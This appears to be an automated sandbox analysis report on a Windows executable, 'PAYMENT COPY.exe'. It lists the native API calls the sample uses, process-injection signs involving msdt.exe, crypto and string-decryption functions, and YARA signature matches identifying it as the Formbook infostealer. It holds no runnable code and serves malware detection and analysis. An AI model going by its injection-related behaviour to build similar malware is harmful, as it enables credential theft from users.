Static PE information: Filename: PAYMENT COPY.exe

Contains functionality to call native functions

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_004181D0 NtCreateFile,		2_2_004181D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00418280 NtReadFile,		2_2_00418280
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00418300 NtClose,		2_2_00418300
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_004183B0 NtAllocateVirtualMemory,		2_2_004183B0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041827A NtReadFile,		2_2_0041827A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_004183AA NtAllocateVirtualMemory,		2_2_004183AA
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B198F0 NtReadVirtualMemory,LdrInitializeThunk,		2_2_00B198F0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19860 NtQuerySystemInformation,LdrInitializeThunk,		2_2_00B19860
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19840 NtDelayExecution,LdrInitializeThunk,		2_2_00B19840
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B199A0 NtCreateSection,LdrInitializeThunk,		2_2_00B199A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19910 NtAdjustPrivilegesToken,LdrInitializeThunk,		2_2_00B19910
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19A20 NtResumeThread,LdrInitializeThunk,		2_2_00B19A20
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19A00 NtProtectVirtualMemory,LdrInitializeThunk,		2_2_00B19A00
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19A50 NtCreateFile,LdrInitializeThunk,		2_2_00B19A50
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B195D0 NtClose,LdrInitializeThunk,		2_2_00B195D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19540 NtReadFile,LdrInitializeThunk,		2_2_00B19540
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B196E0 NtFreeVirtualMemory,LdrInitializeThunk,		2_2_00B196E0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19660 NtAllocateVirtualMemory,LdrInitializeThunk,		2_2_00B19660
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B197A0 NtUnmapViewOfSection,LdrInitializeThunk,		2_2_00B197A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19780 NtMapViewOfSection,LdrInitializeThunk,		2_2_00B19780
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19FE0 NtCreateMutant,LdrInitializeThunk,		2_2_00B19FE0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19710 NtQueryInformationToken,LdrInitializeThunk,		2_2_00B19710
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B198A0 NtWriteVirtualMemory,		2_2_00B198A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19820 NtEnumerateKey,		2_2_00B19820
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1B040 NtSuspendThread,		2_2_00B1B040
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B199D0 NtCreateProcessEx,		2_2_00B199D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19950 NtQueueApcThread,		2_2_00B19950
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19A80 NtOpenDirectoryObject,		2_2_00B19A80
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19A10 NtQuerySection,		2_2_00B19A10
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1A3B0 NtGetContextThread,		2_2_00B1A3B0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19B00 NtSetValueKey,		2_2_00B19B00
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B195F0 NtQueryInformationFile,		2_2_00B195F0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1AD30 NtSetContextThread,		2_2_00B1AD30
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19520 NtWaitForSingleObject,		2_2_00B19520
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19560 NtWriteFile,		2_2_00B19560
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B196D0 NtCreateKey,		2_2_00B196D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19610 NtEnumerateValueKey,		2_2_00B19610
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19670 NtQueryInformationProcess,		2_2_00B19670
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19650 NtQueryValueKey,		2_2_00B19650
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19730 NtQueryVirtualMemory,		2_2_00B19730
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1A710 NtOpenProcessToken,		2_2_00B1A710
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19770 NtSetInformationFile,		2_2_00B19770
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1A770 NtOpenThread,		2_2_00B1A770
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B19760 NtOpenProcess,		2_2_00B19760
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_004181D0 NtCreateFile,		2_1_004181D0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_00418280 NtReadFile,		2_1_00418280
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_00418300 NtClose,		2_1_00418300
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_004183B0 NtAllocateVirtualMemory,		2_1_004183B0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041827A NtReadFile,		2_1_0041827A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_004183AA NtAllocateVirtualMemory,		2_1_004183AA
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D195D0 NtClose,LdrInitializeThunk,		5_2_04D195D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19540 NtReadFile,LdrInitializeThunk,		5_2_04D19540
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D196D0 NtCreateKey,LdrInitializeThunk,		5_2_04D196D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D196E0 NtFreeVirtualMemory,LdrInitializeThunk,		5_2_04D196E0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19650 NtQueryValueKey,LdrInitializeThunk,		5_2_04D19650
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19660 NtAllocateVirtualMemory,LdrInitializeThunk,		5_2_04D19660
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19FE0 NtCreateMutant,LdrInitializeThunk,		5_2_04D19FE0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19780 NtMapViewOfSection,LdrInitializeThunk,		5_2_04D19780
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19710 NtQueryInformationToken,LdrInitializeThunk,		5_2_04D19710
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19840 NtDelayExecution,LdrInitializeThunk,		5_2_04D19840
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19860 NtQuerySystemInformation,LdrInitializeThunk,		5_2_04D19860
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D199A0 NtCreateSection,LdrInitializeThunk,		5_2_04D199A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19910 NtAdjustPrivilegesToken,LdrInitializeThunk,		5_2_04D19910
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19A50 NtCreateFile,LdrInitializeThunk,		5_2_04D19A50
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D195F0 NtQueryInformationFile,		5_2_04D195F0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19560 NtWriteFile,		5_2_04D19560
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1AD30 NtSetContextThread,		5_2_04D1AD30
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19520 NtWaitForSingleObject,		5_2_04D19520
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19670 NtQueryInformationProcess,		5_2_04D19670
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19610 NtEnumerateValueKey,		5_2_04D19610
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D197A0 NtUnmapViewOfSection,		5_2_04D197A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1A770 NtOpenThread,		5_2_04D1A770
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19770 NtSetInformationFile,		5_2_04D19770
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19760 NtOpenProcess,		5_2_04D19760
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1A710 NtOpenProcessToken,		5_2_04D1A710
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19730 NtQueryVirtualMemory,		5_2_04D19730
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D198F0 NtReadVirtualMemory,		5_2_04D198F0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D198A0 NtWriteVirtualMemory,		5_2_04D198A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1B040 NtSuspendThread,		5_2_04D1B040
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19820 NtEnumerateKey,		5_2_04D19820
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D199D0 NtCreateProcessEx,		5_2_04D199D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19950 NtQueueApcThread,		5_2_04D19950
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19A80 NtOpenDirectoryObject,		5_2_04D19A80
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19A10 NtQuerySection,		5_2_04D19A10
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19A00 NtProtectVirtualMemory,		5_2_04D19A00
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19A20 NtResumeThread,		5_2_04D19A20
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D1A3B0 NtGetContextThread,		5_2_04D1A3B0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D19B00 NtSetValueKey,		5_2_04D19B00
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE81D0 NtCreateFile,		5_2_00AE81D0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE8280 NtReadFile,		5_2_00AE8280
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE83B0 NtAllocateVirtualMemory,		5_2_00AE83B0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE8300 NtClose,		5_2_00AE8300
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE827A NtReadFile,		5_2_00AE827A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AE83AA NtAllocateVirtualMemory,		5_2_00AE83AA

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_0040314A EntryPoint,#17,OleInitialize,SHGetFileInfoA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,GetCommandLineA,GetModuleHandleA,CharNextA,OleUninitialize,ExitProcess,lstrcatA,CreateDirectoryA,lstrcatA,lstrcatA,DeleteFileA,GetModuleFileNameA,lstrcmpiA,CopyFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

1_2_0040314A

Detected potential crypto function

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_004046A7		1_2_004046A7
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041C04E		2_2_0041C04E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041C86A		2_2_0041C86A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00401030		2_2_00401030
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B9EA		2_2_0041B9EA
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00408C6B		2_2_00408C6B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00408C70		2_2_00408C70
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041BDDE		2_2_0041BDDE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00402D87		2_2_00402D87
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00402D90		2_2_00402D90
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_0041B6E1		2_2_0041B6E1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00402FB0		2_2_00402FB0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B020A0		2_2_00B020A0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA20A8		2_2_00BA20A8
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEB090		2_2_00AEB090
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91002		2_2_00B91002
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF4120		2_2_00AF4120
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADF900		2_2_00ADF900
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA22AE		2_2_00BA22AE
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0EBB0		2_2_00B0EBB0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9DBD2		2_2_00B9DBD2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA2B28		2_2_00BA2B28
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE841F		2_2_00AE841F
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02581		2_2_00B02581
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AED5E0		2_2_00AED5E0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD0D20		2_2_00AD0D20
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA2D07		2_2_00BA2D07
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA1D55		2_2_00BA1D55
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA2EF7		2_2_00BA2EF7
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF6E30		2_2_00AF6E30
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA1FF1		2_2_00BA1FF1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041C04E		2_1_0041C04E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041C86A		2_1_0041C86A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_00401030		2_1_00401030
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_0041B9EA		2_1_0041B9EA
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_00408C6B		2_1_00408C6B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_1_00408C70		2_1_00408C70
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9D466		5_2_04D9D466
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE841F		5_2_04CE841F
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA25DD		5_2_04DA25DD
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CED5E0		5_2_04CED5E0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D02581		5_2_04D02581
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA1D55		5_2_04DA1D55
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA2D07		5_2_04DA2D07
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CD0D20		5_2_04CD0D20
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA2EF7		5_2_04DA2EF7
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9D616		5_2_04D9D616
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF6E30		5_2_04CF6E30
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DADFCE		5_2_04DADFCE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA1FF1		5_2_04DA1FF1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA28EC		5_2_04DA28EC
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CEB090		5_2_04CEB090
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D020A0		5_2_04D020A0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA20A8		5_2_04DA20A8
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D91002		5_2_04D91002
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DAE824		5_2_04DAE824
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CDF900		5_2_04CDF900
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF4120		5_2_04CF4120
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA22AE		5_2_04DA22AE
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D903DA		5_2_04D903DA
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D9DBD2		5_2_04D9DBD2
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0EBB0		5_2_04D0EBB0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA2B28		5_2_04DA2B28
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEC86A		5_2_00AEC86A
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AD8C6B		5_2_00AD8C6B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AD8C70		5_2_00AD8C70
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AD2D87		5_2_00AD2D87
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AD2D90		5_2_00AD2D90
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEBDDB		5_2_00AEBDDB
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AEB6E1		5_2_00AEB6E1
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_00AD2FB0		5_2_00AD2FB0

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: String function: 00ADB150 appears 35 times
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: String function: 0041A0B0 appears 38 times
Source: C:\Windows\SysWOW64\msdt.exe	Code function: String function: 04CDB150 appears 45 times

Sample file is different than original file name gathered from version info

Source: PAYMENT COPY.exe, 00000001.00000003.334044214.000000001F25F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT COPY.exe
Source: PAYMENT COPY.exe, 00000002.00000002.379228424.0000000000BCF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT COPY.exe
Source: PAYMENT COPY.exe, 00000002.00000002.379579567.0000000002750000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamemsdt.exej% vs PAYMENT COPY.exe

Uses 32bit PE files

Source: PAYMENT COPY.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Yara signature match

Source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
